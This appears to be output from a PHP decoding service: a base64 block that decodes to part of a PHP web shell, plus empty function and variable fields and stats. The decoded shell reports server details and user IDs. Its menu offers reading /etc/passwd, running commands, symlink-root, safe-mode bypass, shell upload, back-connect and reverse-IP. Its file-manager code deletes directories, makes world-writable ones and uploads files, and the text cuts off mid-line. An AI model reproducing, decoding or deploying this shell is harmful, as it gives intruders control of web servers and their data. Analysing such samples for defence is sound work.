ZXI6IGFscGhhKG9wYWNpdHk9NzApOyBvcGFjaXR5OiAuNzsgd2lkdGg6IDExMHB4OyBoZWlnaHQ6IDI1cHg7IHotaW5kZXg6IDE7IGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IiBib3JkZXJjb2xvcj0iIzAwNjYwMCIgIGFsaWduPSJjZW50ZXIiPg0KCQkJCSAgIExvYWRpbmc8aW1nIHNyYz0iaHR0cDovL2kzODIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9vbzI2My92bmhhY2tlci9sb2FkaW5nLmdpZiI+DQoJCQkJICA8L2Rpdj4NCgkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCTwvdGFibGU+DQo8L2Rpdj4NCiA8c2NyaXB0Pg0KIHZhciBsZD0oZG9jdW1lbnQuYWxsKTsNCiAgdmFyIG5zND1kb2N1bWVudC5sYXllcnM7DQogdmFyIG5zNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCYmIWRvY3VtZW50LmFsbDsNCiB2YXIgaWU0PWRvY3VtZW50LmFsbDsNCiAgaWYgKG5zNCkNCiAJbGQ9ZG9jdW1lbnQubG9hZGluZzsNCiBlbHNlIGlmIChuczYpDQogCWxkPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2FkaW5nIikuc3R5bGU7DQogZWxzZSBpZiAoaWU0KQ0KIAlsZD1kb2N1bWVudC5hbGwubG9hZGluZy5zdHlsZTsNCiAgZnVuY3Rpb24gaW5pdCgpDQogew0KIGlmKG5zNCl7bGQudmlzaWJpbGl0eT0iaGlkZGVuIjt9DQogZWxzZSBpZiAobnM2fHxpZTQpIGxkLmRpc3BsYXk9Im5vbmUiOw0KIH0NCiA8L3NjcmlwdD4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KCTx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+DQoJCTx0ZCAgd2lkdGg9MTAwJT4NCgkJPHRhYmxlIHdpZHRoPTEwMCU+PHRyIGNsYXNzPSJoZWFkX3NtYWxsIj48dGQgIHdpZHRoPTg2cHg+PHA+PGEgdGl0bGU9IiAuOjogV2FybmluZyAhIFNoZWxsIGlzIHVzZWQgdG8gcmVmZXIgbm90IHRvIGhhY2sgOjouICIgaHJlZj0iJzskc2VsZjs7ZWNobyAnIj48aW1nIHNyYz1odHRwOi8vaTQ3Ni5waG90b2J1Y2tldC5jb20vYWxidW1zL3JyMTI5L3RoaWVudGhhbnR1eWV0NDQ0NC9hbm9ueW1vdXN3YWxscGFwZXIucG5nPjwvYT48L3A+DQoJICAgICAgICA8L3RkPg0KCQk8dGQ+DQogICAgICAgICAgICANCgkJPHNwYW4gc3R5bGU9ImZsb2F0OmxlZnQ7Ij4gPD9waHAgZWNobyAiSG9zdG5hbWU6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOz8+IHwgU2VydmVyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iPC9mb250PiI7Pz4gfCBZb3VyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iPC9mb250PiI7Pz4NCgkgIHwgPGEgaHJlZj0iaHR0cDovL2dvb2dsZS5jb20iIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywncHJpdjggJyk7Pz4gPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2xvZ291dCcpOyI+PGZvbnQgY29sb3I9cmVkPkxvZ291dDwvZm9udD48L2E+PC9zcGFuPiA8YnIgLz4NCg0KCQk8P3BocA0KJGN1cmxfb24gID0gQGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7DQokbXlzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQokcGdfb24gICAgPSBAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0Jyk7DQokb3JhX29uICAgPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KZWNobyAoKCRzYWZlX21vZGUpID8gKCJTYWZlX21vZDogPGI+PGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICIpIDogKCJTYWZlX21vZDogPGI+PGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48L2I+IC0gIikpOw0KZWNobyAiUEhQIHZlcnNpb246IDxiPiIgLiBAcGhwdmVyc2lvbigpIC4gIjwvYj4gLSAiOw0KZWNobyAiY1VSTDogIiAuICgoJGN1cmxfb24pID8gKCI8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIikgOiAoIjxiPjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICIpKTsNCmVjaG8gIk15U1FMOiA8Yj4iOw0KJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYgKCRteXNxbF9vbikgew0KICAgIGVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiOw0KfSBlbHNlIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiOw0KfQ0KZWNobyAiTVNTUUw6IDxiPiI7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQppZiAoJG1zc3FsX29uKSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7DQp9IGVsc2Ugew0KICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7DQp9DQplY2hvICJQb3N0Z3JlU1FMOiA8Yj4iOw0KJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOw0KaWYgKCRwZ19vbikgew0KICAgIGVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiOw0KfSBlbHNlIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiOw0KfQ0KZWNobyAiT3JhY2xlOiA8Yj4iOw0KJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQppZiAoJG9yYV9vbikgew0KICAgIGVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4iOw0KfSBlbHNlIHsNCiAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj48QlI+IjsNCn0NCmVjaG8gIkRpc2FibGUgZnVuY3Rpb25zIDogPGI+IjsNCmlmICgnJyA9PSAoJGRmID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+Tk9ORTwvZm9udD48L2I+PEJSPiI7DQp9IGVsc2Ugew0KICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD4kZGY8L2ZvbnQ+PC9iPjxCUj4iOw0KfQ0KZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+VW5hbWUgLWE8L2ZvbnQ+OiAiIC4gQHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgLiAiPGJyPiI7DQplY2hvICI8Zm9udCBjb2xvcj13aGl0ZT5TZXJ2ZXI8L2ZvbnQ+OiAiIC4gQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLCAwLCAxMjApIC4gIiAtIDxmb250IGNvbG9yPXdoaXRlPmlkPC9mb250PjogIiAuIEBnZXRteXVpZCgpIC4gIigiIC4gQGdldF9jdXJyZW50X3VzZXIoKSAuICIpIC0gdWlkPSIgLiBAZ2V0bXl1aWQoKSAuICIgKCIgLiBAZ2V0X2N1cnJlbnRfdXNlcigpIC4gIikgZ2lkPSIgLiBAZ2V0bXlnaWQoKSAuICIoIiAuIEBnZXRfY3VycmVudF91c2VyKCkgLiAiKTxicj4iOw0KPz48L3RkPjwvdHI+PC90YWJsZT48L3RkPg0KCTwvdHI+DQoJPHRyIGNsYXNzPSJhbHQxIj4NCgkJPHRkICB3aWR0aD0xMCU+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZmlsZScpOyI+TWFuYWdlcjwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPlNRTDwvYT4gDQoJCQk8P3BocA0KaWYgKCFJU19XSU4pIHsNCj8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZHVtcGVyJyk7Ij5EdW1wZXI8L2E+PD9waHANCn0NCj8+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2NoYW5nZXBhcycpOyI+Q2hhbmdlczwvYT4NCgkJCTw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdldGNwd2QnKTsiPi9ldGMvcGFzc3dkPC9hPiA8P3BocA0KfQ0KPz4NCgkJCTw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCduZXdjb21tYW5kJyk7Ij5Db21tYW5kPC9hPiA8P3BocA0KfQ0KPz4NCgkJCTw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdlcnJvci5sb2cnKTsiPkNyZWF0IENHSTwvYT48P3BocA0KfQ0KPz4NCiAgICAgICAgICAgIDw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJlcnJvci9lcnJvci5sb2ciIHRhcmdldD0iX2JsYW5rIj5PcGVuIENHSTwvYT48P3BocA0KfQ0KPz4NCiAgICAgICAgICAgIDw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzeW1yb290Jyk7Ij5TeW0gUm9vdDwvYT48P3BocA0KfQ0KPz4NCiAgICAgICAgICAgIDw/cGhwDQppZiAoIUlTX1dJTikgew0KPz4gfCA8YSBocmVmPSJzeW0vIiB0YXJnZXQ9Il9ibGFuayI+T3BlbiBTeW0gPC9hPjw/cGhwDQp9DQo/Pg0KCQkJPD9waHANCmlmICghSVNfV0lOKSB7DQo/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2J5cGFzcycpOyI+QnkgUGFzczwvYT48P3BocA0KfQ0KPz4gDQoJCQk8P3BocA0KaWYgKCFJU19XSU4pIHsNCj8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigndXBzaGVsbCcpOyI+VXAgc2hlbGw8L2E+PD9waHANCn0NCj8+DQogICAgICAgICAgICA8P3BocA0KaWYgKCFJU19XSU4pIHsNCj8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbGVlY2gnKTsiPkxlZWNoPC9hPjw/cGhwDQp9DQo/PiAgIA0KCQkJPD9waHANCmlmICghSVNfV0lOKSB7DQo/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JhY2tjb25uZWN0Jyk7Ij5CYWNrPC9hPjw/cGhwDQp9DQo/Pg0KCQkJPD9waHANCmlmICghSVNfV0lOKSB7DQo/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2NvbW1hbmQnKTsiPldpbjwvYT4gPD9waHANCn0NCj8+IA0KCQkJPD9waHANCmlmICghSVNfV0lOKSB7DQo/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3JldmVyc2VpcCcpOyI+UmV2ZXJzZSA8L2E+PD9waHANCn0NCj8+IA0KICAgICAgICAgICAgPC90ZD4NCgk8L3RyPg0KPC90YWJsZT4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPg0KPD9waHANCmZvcm1oZWFkKGFycmF5KA0KICAgICduYW1lJyA9PiAnZ29hY3Rpb24nDQopKTsNCm1ha2VoaWRlKCdhY3Rpb24nKTsNCmZvcm1mb290KCk7DQokZXJybXNnICYmIG0oJGVycm1zZyk7DQohJGRpciAmJiAkZGlyID0gJy4nOw0KJG5vd3BhdGggPSBnZXRQYXRoKFNBX1JPT1QsICRkaXIpOw0KaWYgKHN1YnN0cigkZGlyLCAtMSkgIT0gJy8nKSB7DQogICAgJGRpciA9ICRkaXIgLiAnLyc7DQp9DQokdWVkaXIgPSB1ZSgkZGlyKTsNCmlmICghJGFjdGlvbiB8fCAkYWN0aW9uID09ICdmaWxlJykgew0KICAgICRkaXJfd3JpdGVhYmxlID0gQGlzX3dyaXRhYmxlKCRub3dwYXRoKSA/ICdXcml0YWJsZScgOiAnTm9uLXdyaXRhYmxlJzsNCiAgICBpZiAoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQogICAgICAgICAgICBtKCR0aGVmaWxlIC4gJyBkaXJlY3RvcnkgZG9lcyBub3QgZXhpc3QnKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIG0oJ0RpcmVjdG9yeSBkZWxldGUgJyAuIChkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKSAuICcgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KICAgICAgICB9DQogICAgfSBlbHNlaWYgKCRuZXdkaXJuYW1lKSB7DQogICAgICAgICRta2RpcnMgPSAkbm93cGF0aCAuICRuZXdkaXJuYW1lOw0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJG1rZGlycykpIHsNCiAgICAgICAgICAgIG0oJ0RpcmVjdG9yeSBoYXMgYWxyZWFkeSBleGlzdGVkJyk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBtKCdEaXJlY3RvcnkgY3JlYXRlZCAnIC4gKEBta2RpcigkbWtkaXJzLCAwNzc3KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQogICAgICAgICAgICBAY2htb2QoJG1rZGlycywgMDc3Nyk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoJGRvdXBmaWxlKSB7DQogICAgICAgIG0oJ0ZpbGUgdXBsb2FkICcgLiAoQGNvc

Function Calls

None

Variables

None

Stats

MD5 838a8dfcd59035d848d5809adc64e929
Eval Count 0
Decode Time 231 ms